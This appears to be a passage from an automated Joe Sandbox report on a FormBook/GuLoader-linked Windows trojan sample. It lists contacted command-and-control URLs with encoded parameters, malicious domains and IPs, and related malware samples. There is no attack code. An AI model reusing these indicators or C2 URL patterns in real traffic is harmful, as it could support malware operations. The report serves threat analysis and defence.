http://www.belgravevilla.com/8cwt/?24eluX=/eyPcvofDN2lSaRtaOy598Um2jV4WFkB8F+tj/gurFaBNg3fGC8Bq8tEkH7S9Bted1WP+/9Tvc8BBtdeQx/29+uX5MeVdplxqUx1gZhmZuS5o8pYgM2a/wg=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://belgravevilla.com/8cwt/?24eluX=/eyPcvofDN2lSaRtaOy598Um2jV4WFkB8F	0%	Avira URL Cloud	safe
https://login.li	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://zz.bdstatic.com/linksubmit/push.js	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/	0%	Avira URL Cloud	safe
http://www.belgravevilla.com/8cwt/	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_ErrorError	0%	Avira URL Cloud	safe
https://www.ecosia.org/newtab/	0%	Avira URL Cloud	safe
https://ac.ecosia.org/autocomplete?q=	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_Error	0%	Avira URL Cloud	safe
http://www.insist.site/8cwt/?24eluX=hBVPMRA8AXkfi8sX3ZU3xUlYATFWOWKaW/82pjFjYWbiYeLOxLODNY5T0HEKtdu9psozILhwOJRChZ+L+nmp0Ast2pFtgkKWXgnlG+28tA4JhCFPXI/mZUw=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe
http://www.shun-yamagata.com/8cwt/?24eluX=l+yNdBmIbZk94DyhKMCQgPu5et7F5Fjr+MUK0mOzdhwjPjmD5w+n15/KVowCPgtS4Y9yjKxUIxHTxuQuQfpR6KughRwQexCRaaEyjIZ4vPoy+iMgbgX/vtU=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	0%	Avira URL Cloud	safe
https://drive.google.com/uc?	0%	Avira URL Cloud	safe
http://www.innovtech.life/8cwt/	0%	Avira URL Cloud	safe
http://www.jdps.org/8cwt/	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	Avira URL Cloud	safe
http://www.shun-yamagata.com	0%	Avira URL Cloud	safe
http://www.cd14j.us/8cwt/?24eluX=JIyO8Gc0ZaCUBC4gwloHiifCYtv01LSxCuL3sMDgSuZIErE9iBbFukGcMyuYgIJjP33nSDseYz7bP5VCvKNEdyHwbE4qu9h+y1aodMHm9WSOLrl68ngvcME=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
parkingpage.namecheap.com	91.195.240.19	true	false	0%, Virustotal, Browse	unknown
www.innovtech.life	203.161.49.193	true	true	100%, Sophos S4 9%, Virustotal, Browse	unknown
www.auetravel.kz	89.35.125.17	true	false	0%, Virustotal, Browse	unknown
belgravevilla.com	92.205.8.26	true	false	0%, Virustotal, Browse	unknown
drive.usercontent.google.com	172.217.215.132	true	false	1%, Virustotal, Browse	unknown
respirelavie.net	192.3.27.169	true	false	0%, Virustotal, Browse	unknown
www.shun-yamagata.com	162.43.104.164	true	false		unknown
cdl-lb-1356093980.us-east-1.elb.amazonaws.com	34.232.203.70	true	false	0%, Virustotal, Browse	unknown
brongal.by	93.125.99.134	true	false	1%, Virustotal, Browse	unknown
www.airportsurvery.com	173.232.18.161	true	false	0%, Virustotal, Browse	unknown
drive.google.com	142.250.217.174	true	false	0%, Virustotal, Browse	unknown
www.accentbathrooms.com	66.81.203.196	true	false	1%, Virustotal, Browse	unknown
www.k4ryd.us	91.195.240.123	true	false	1%, Virustotal, Browse	unknown
www.cd14j.us	91.195.240.123	true	false	0%, Virustotal, Browse	unknown
www.insist.site	3.64.163.50	true	false		unknown
www.nurenose.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.jdps.org	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.belgravevilla.com	unknown	unknown	true		unknown
www.brongal.by	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.donumul.com	unknown	unknown	true		unknown
www.nemeanshop.com	unknown	unknown	true		unknown
www.runonbattery.com	unknown	unknown	true		unknown
www.respirelavie.net	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.brongal.by/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.accentbathrooms.com/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.airportsurvery.com/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.innovtech.life/8cwt/?24eluX=SSpGlvD+1syJM+fS7Z8C1Cd2ZLeBmOr+68qPZxMelqgcCM6DsfmVmmLjkXM2/P+9S0q4oxoduwfupYzMqMwdcdYcBeP38sFbk5TUrAJPEOGdI/gD7BvPJp4=&Mjnd0=JZHP8Tx0t6	true	Sophos S4: malware repository domain Avira URL Cloud: safe	unknown
http://www.respirelavie.net/8cwt/?24eluX=iQ4bGvtt1bUOdIMmx0FoKxyGgfNtaKfegGtnnpaIA0bWJs9Q4689zouPx5Y4+HL6T4TvrzgawqpIlVOGUgGREoTlcD3Zw3RnhErLbn743FaHB2O7toC+0mA=&Mjnd0=JZHP8Tx0t6	false	Avira URL Cloud: safe	unknown
http://www.k4ryd.us/8cwt/?24eluX=wJjsrv+xTFW5EezvLu5DoT5e4On1D8g+dr15EOXITWTD1anv0RLrfGS01TvW8pCuGmfcOvvelUpztksk4WpfZfFxijTtARXG8NIL7Taa8Kq3eoSsUv86NcY=&Mjnd0=JZHP8Tx0t6	false	Avira URL Cloud: safe	unknown
http://www.cd14j.us/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.airportsurvery.com/8cwt/?24eluX=KAkr0JsC36DOGBdb86MaWw8oa5TA2XZrFg5SI4PSAqjqBay0+Mt9GFSkKu0kcsR0pRjPiVoCFffv9kAFnu4p94pvlKRDsoyD63jLrTdFBvrOG4BRdTojXfc=&Mjnd0=JZHP8Tx0t6	false	Avira URL Cloud: safe	unknown
http://www.insist.site/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.nurenose.com/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.k4ryd.us/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.shun-yamagata.com/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.jdps.org/8cwt/?24eluX=8fvO6riwiNdGIieTsu/tMoq1+6O9galEvK05+Szv2OjuFl7+WHHAVTXMU1G96mraFYLMRcvsh+SJXHUnSCy+mSK3fOJTqBcOyoKopFv0eDv6jorQ0HypEvo=&Mjnd0=JZHP8Tx0t6	false	Avira URL Cloud: safe	unknown
http://www.nurenose.com/8cwt/?24eluX=ta/RVvqxwt03TPXWzdfJPt4x66UfuVsjNv5QpTaL8gP24YNLrE30I2eSxM0VtxXCv+eA5B8kQfuz0YxEkZl7phijUbluJOwzHO73Kb9kDKOg+aMKAT0Adgs=&Mjnd0=JZHP8Tx0t6	false	Avira URL Cloud: safe	unknown
http://www.belgravevilla.com/8cwt/?24eluX=/eyPcvofDN2lSaRtaOy598Um2jV4WFkB8F+tj/gurFaBNg3fGC8Bq8tEkH7S9Bted1WP+/9Tvc8BBtdeQx/29+uX5MeVdplxqUx1gZhmZuS5o8pYgM2a/wg=&Mjnd0=JZHP8Tx0t6	false	Avira URL Cloud: safe	unknown
http://www.belgravevilla.com/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.insist.site/8cwt/?24eluX=hBVPMRA8AXkfi8sX3ZU3xUlYATFWOWKaW/82pjFjYWbiYeLOxLODNY5T0HEKtdu9psozILhwOJRChZ+L+nmp0Ast2pFtgkKWXgnlG+28tA4JhCFPXI/mZUw=&Mjnd0=JZHP8Tx0t6	false	Avira URL Cloud: safe	unknown
http://www.shun-yamagata.com/8cwt/?24eluX=l+yNdBmIbZk94DyhKMCQgPu5et7F5Fjr+MUK0mOzdhwjPjmD5w+n15/KVowCPgtS4Y9yjKxUIxHTxuQuQfpR6KughRwQexCRaaEyjIZ4vPoy+iMgbgX/vtU=&Mjnd0=JZHP8Tx0t6	false	Avira URL Cloud: safe	unknown
http://www.innovtech.life/8cwt/	true	Sophos S4: malware repository domain Avira URL Cloud: safe	unknown
http://www.jdps.org/8cwt/	false	Avira URL Cloud: safe	unknown
http://www.cd14j.us/8cwt/?24eluX=JIyO8Gc0ZaCUBC4gwloHiifCYtv01LSxCuL3sMDgSuZIErE9iBbFukGcMyuYgIJjP33nSDseYz7bP5VCvKNEdyHwbE4qu9h+y1aodMHm9WSOLrl68ngvcME=&Mjnd0=JZHP8Tx0t6	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://brongal.by/8cwt/?24eluX=2L0w4dAlDepmBmTjVKMMeU7pTlJruWimQKtzQaHnPyexis6Apolau4	secinit.exe, 0000000A.00000002.83835201510.00000000042E4000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.0000000004484000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.lihttps://login.li0	secinit.exe, 0000000A.00000002.83830820007.000000000010B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://push.zhanzhang.baidu.com/push.js	secinit.exe, 0000000A.00000002.83836936890.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83835201510.00000000037E6000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.0000000003986000.00000004.00000001.00040000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000626000.00000020.00000001.01000000.00000007.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.gopher.ftp://ftp.	fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	fJuwM4Bwi7.exe, 00000008.00000001.78926393304.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	fJuwM4Bwi7.exe, 00000008.00000002.79181660044.000000000263E000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79181660044.0000000002672000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://www.insist.site/	secinit.exe, 0000000A.00000002.83835201510.000000000479A000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.000000000493A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://belgravevilla.com/8cwt/?24eluX=/eyPcvofDN2lSaRtaOy598Um2jV4WFkB8F	secinit.exe, 0000000A.00000002.83835201510.0000000004608000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.00000000047A8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.li	secinit.exe, 0000000A.00000002.83830820007.000000000010B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://zz.bdstatic.com/linksubmit/push.js	secinit.exe, 0000000A.00000002.83836936890.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83835201510.00000000037E6000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.0000000003986000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	fJuwM4Bwi7.exe, 00000008.00000002.79182091174.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083691361.000000000269F000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083226340.0000000002695000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79053109089.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	fJuwM4Bwi7.exe	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	fJuwM4Bwi7.exe	false	Avira URL Cloud: safe	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	fJuwM4Bwi7.exe, 00000008.00000001.78926393304.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/uc?	fJuwM4Bwi7.exe, 00000008.00000002.79182091174.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083691361.000000000269F000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083226340.0000000002695000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79053109089.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.shun-yamagata.com	SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83832835974.00000000014AB000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.215.132	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
91.195.240.123	www.k4ryd.us	Germany	47846	SEDO-ASDE	false
3.64.163.50	www.insist.site	United States	16509	AMAZON-02US	false
91.195.240.19	parkingpage.namecheap.com	Germany	47846	SEDO-ASDE	false
92.205.8.26	belgravevilla.com	Germany	8972	GD-EMEA-DC-SXB1DE	false
89.35.125.17	www.auetravel.kz	Romania	57495	BSS-ONERO	false
192.3.27.169	respirelavie.net	United States	36352	AS-COLOCROSSINGUS	false
173.232.18.161	www.airportsurvery.com	United States	62904	EONIX-COMMUNICATIONS-ASBLOCK-62904US	false
142.250.217.174	drive.google.com	United States	15169	GOOGLEUS	false
203.161.49.193	www.innovtech.life	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
66.81.203.196	www.accentbathrooms.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	false
34.232.203.70	cdl-lb-1356093980.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
162.43.104.164	www.shun-yamagata.com	United States	11333	CYBERTRAILSUS	false
93.125.99.134	brongal.by	Belarus	6697	BELPAK-ASBELPAKBY	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1451684
Start date and time:	2024-06-04 14:12:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	fJuwM4Bwi7.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/22@21/14
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 69% Number of executed functions: 53 Number of non-executed functions: 255
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, HxTsr.exe, RuntimeBroker.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): www.bing.com, assets.msn.com, ctldl.windowsupdate.com, nexusrules.officeapps.live.com, api.msn.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:15:34	API Interceptor	26003923x Sleep call for process: secinit.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.195.240.123	anebilledes.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.k4ryd.us/8cwt/
	Mekanikken.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.l7aeh.us/udud/
	Nondesistance.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.l7aeh.us/udud/
	Platosammine.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.k4ryd.us/8cwt/
	ShippingDoc_23052024.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.lm2ue.us/n1wh/
	Forfaldendes253.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.l7aeh.us/udud/
	Twrchtrywth.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.k4ryd.us/8cwt/
	00773863008311110023.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	www.hylob.lat/s8o3/
	OX-IN-031-17_ JPE.scr.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.uc9d1.us/g0dh/
	Request for Quotation # 3200025006.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.cd14j.us/ntpp/
3.64.163.50	02062024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.afelon.vote/oe02/
	anebilledes.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.insist.site/8cwt/
	po8909893299832.exe	Get hash	malicious	FormBook	Browse	www.blogonrunning.com/hd05/?mJBXxJ=L307NeH5fWkLgKK43su7TNgrL3oq/VFX5jHnogZ3Xy90kbIeezXbjunmo4QVhDvcCpqA&_hrl=jxopsZ
	Mekanikken.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.mindfreak.live/udud/
	PO JAN 2024.exe	Get hash	malicious	FormBook	Browse	www.hitbass.com/uonn/
	Nondesistance.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.mindfreak.live/udud/
	Platosammine.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.insist.site/8cwt/
	Forfaldendes253.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.mindfreak.live/udud/
	file.exe	Get hash	malicious	Unknown	Browse	protonmail.uk/admin
	Product Listsd#U0334r#U0334o#U0334w#U0334..exe	Get hash	malicious	FormBook	Browse	www.buyduffelbag.com/pshj/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
parkingpage.namecheap.com	9hD6o07kwl.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	TFMUpLhFq6.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	g7cydE7LET.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	cjHq1JOaAQ.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	vtIgsP95Bm.exe	Get hash	malicious	FormBook, GuLoader, LummaC Stealer	Browse	91.195.240.19
	CHKS2400304.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	yPURXYpFVuXra2o.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	BASF Purchase Order.doc	Get hash	malicious	FormBook	Browse	91.195.240.19
	yiLe926pJsBgixu.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
www.auetravel.kz	vtIgsP95Bm.exe	Get hash	malicious	FormBook, GuLoader, LummaC Stealer	Browse	89.35.125.17
	Factura 02297-23042024.exe	Get hash	malicious	FormBook, GuLoader	Browse	89.35.125.17
	anebilledes.exe	Get hash	malicious	FormBook, GuLoader	Browse	89.35.125.17
	Tenuto.exe	Get hash	malicious	FormBook, GuLoader, LummaC Stealer	Browse	89.35.125.17
	Platosammine.exe	Get hash	malicious	FormBook, GuLoader	Browse	89.35.125.17
	Twrchtrywth.exe	Get hash	malicious	FormBook, GuLoader	Browse	89.35.125.17
	Konstabelens65.exe	Get hash	malicious	FormBook, GuLoader	Browse	89.35.125.17
	Company profile.pif.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	89.35.125.17
	Stolprende.exe	Get hash	malicious	FormBook, GuLoader	Browse	89.35.125.17
	Scries.exe	Get hash	malicious	FormBook, GuLoader	Browse	89.35.125.17
www.innovtech.life	RFQ 5654077845567895504_d0c.exe	Get hash	malicious	FormBook	Browse	203.161.49.193
	anebilledes.exe	Get hash	malicious	FormBook, GuLoader	Browse	203.161.49.193
	SCAN_0033245554672760018765524126524_pdf.exe	Get hash	malicious	FormBook	Browse	203.161.49.193
	RFQ _ARC 101011-24.exe	Get hash	malicious	FormBook	Browse	203.161.49.193
	Platosammine.exe	Get hash	malicious	FormBook, GuLoader	Browse	203.161.49.193
	Twrchtrywth.exe	Get hash	malicious	FormBook, GuLoader	Browse	203.161.49.193
	Scries.exe	Get hash	malicious	FormBook, GuLoader	Browse	203.161.49.193
	Fyge206.exe	Get hash	malicious	FormBook, GuLoader	Browse	203.161.49.193

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GD-EMEA-DC-SXB1DE	cbIcBAgY5W.exe	Get hash	malicious	SystemBC	Browse	5.175.14.40
	td2RgV6HyP.exe	Get hash	malicious	SystemBC	Browse	5.175.14.29
	DEBIT NOTE.exe	Get hash	malicious	FormBook	Browse	92.205.15.157
	Purchase Order_20240503.exe	Get hash	malicious	FormBook	Browse	92.205.15.157
	anebilledes.exe	Get hash	malicious	FormBook, GuLoader	Browse	92.205.8.26
	G3K3YBC97i.elf	Get hash	malicious	Mirai	Browse	62.138.132.196
	61#U2467.hta	Get hash	malicious	Unknown	Browse	92.205.182.151
	Purchase Order_20240528.exe	Get hash	malicious	FormBook	Browse	92.205.15.157
	Platosammine.exe	Get hash	malicious	FormBook, GuLoader	Browse	92.205.8.26
	http://ageofimmortalsgame.com/wth1u	Get hash	malicious	Phisher	Browse	92.205.17.86
SEDO-ASDE	9hD6o07kwl.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Utility R.lnk	Get hash	malicious	FormBook	Browse	91.195.240.94
	TFMUpLhFq6.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	g7cydE7LET.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	cjHq1JOaAQ.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	vtIgsP95Bm.exe	Get hash	malicious	FormBook, GuLoader, LummaC Stealer	Browse	91.195.240.19
	CHKS2400304.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	BASF Purchase Order.doc	Get hash	malicious	FormBook	Browse	91.195.240.19
	yiLe926pJsBgixu.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
SEDO-ASDE	9hD6o07kwl.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Utility R.lnk	Get hash	malicious	FormBook	Browse	91.195.240.94
	TFMUpLhFq6.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	g7cydE7LET.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	cjHq1JOaAQ.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	vtIgsP95Bm.exe	Get hash	malicious	FormBook, GuLoader, LummaC Stealer	Browse	91.195.240.19
	CHKS2400304.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	BASF Purchase Order.doc	Get hash	malicious	FormBook	Browse	91.195.240.19
	yiLe926pJsBgixu.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
AMAZON-02US	SecuriteInfo.com.Win32.Malware-gen.15356.26888.exe	Get hash	malicious	Unknown	Browse	3.160.212.118
	SecuriteInfo.com.Win32.Malware-gen.15356.26888.exe	Get hash	malicious	Unknown	Browse	18.154.84.81
	https://www.sordum.org/downloads/?ntfs-drive-protection	Get hash	malicious	Unknown	Browse	99.84.252.5
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:be94af7a-734f-4324-8160-e952ef419173	Get hash	malicious	Unknown	Browse	3.161.82.113
	cbIcBAgY5W.exe	Get hash	malicious	SystemBC	Browse	65.0.142.153
	td2RgV6HyP.exe	Get hash	malicious	SystemBC	Browse	52.63.237.70
	https://tracking.onehash.ai/ck1/2d6f.fc070546be8e8d7/ad6e3f90-2201-11ef-a8f3-52540088df93/b97d490ee53087a42c557eeb7ff9083d627d161d/1?e=geyq9i%2FvDm1u0isQF8QbPz1WOrqZeXJHJMhVeeVO9X50%2BQM7uRftlmCGw%2FaXvkwb6LkXoSwWZnSRNZuu%2B7UvEZLIg7n2RDR5vSdrDOBIDsg%3D	Get hash	malicious	Phisher	Browse	13.32.99.54
	https://amex.applerewardsstore.com/sg/	Get hash	malicious	Unknown	Browse	18.140.81.59
	wget.elf	Get hash	malicious	Gafgyt, Mirai	Browse	54.247.62.1
	https://flow.page/sharedfile.dco	Get hash	malicious	HTMLPhisher	Browse	18.239.69.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Win32.Malware-gen.15356.26888.exe	Get hash	malicious	Unknown	Browse	172.217.215.132 142.250.217.174
	SecuriteInfo.com.Win32.Malware-gen.15356.26888.exe	Get hash	malicious	Unknown	Browse	172.217.215.132 142.250.217.174
	SecuriteInfo.com.Win32.Malware-gen.11549.10024.exe	Get hash	malicious	GuLoader	Browse	172.217.215.132 142.250.217.174
	file.exe	Get hash	malicious	Vidar	Browse	172.217.215.132 142.250.217.174
	SAMPLE _CATALOGUE_EWF_PDF.com.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.217.215.132 142.250.217.174
	SALES CONF AH-SC-17-2024.vbe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.217.215.132 142.250.217.174
	PackingList#_2E0688.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.217.215.132 142.250.217.174
	Quotation Request - RFQ018232901983234.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.217.215.132 142.250.217.174
	Nedfrendes.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.217.215.132 142.250.217.174
	Staff performance report..vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.217.215.132 142.250.217.174

Dropped Files

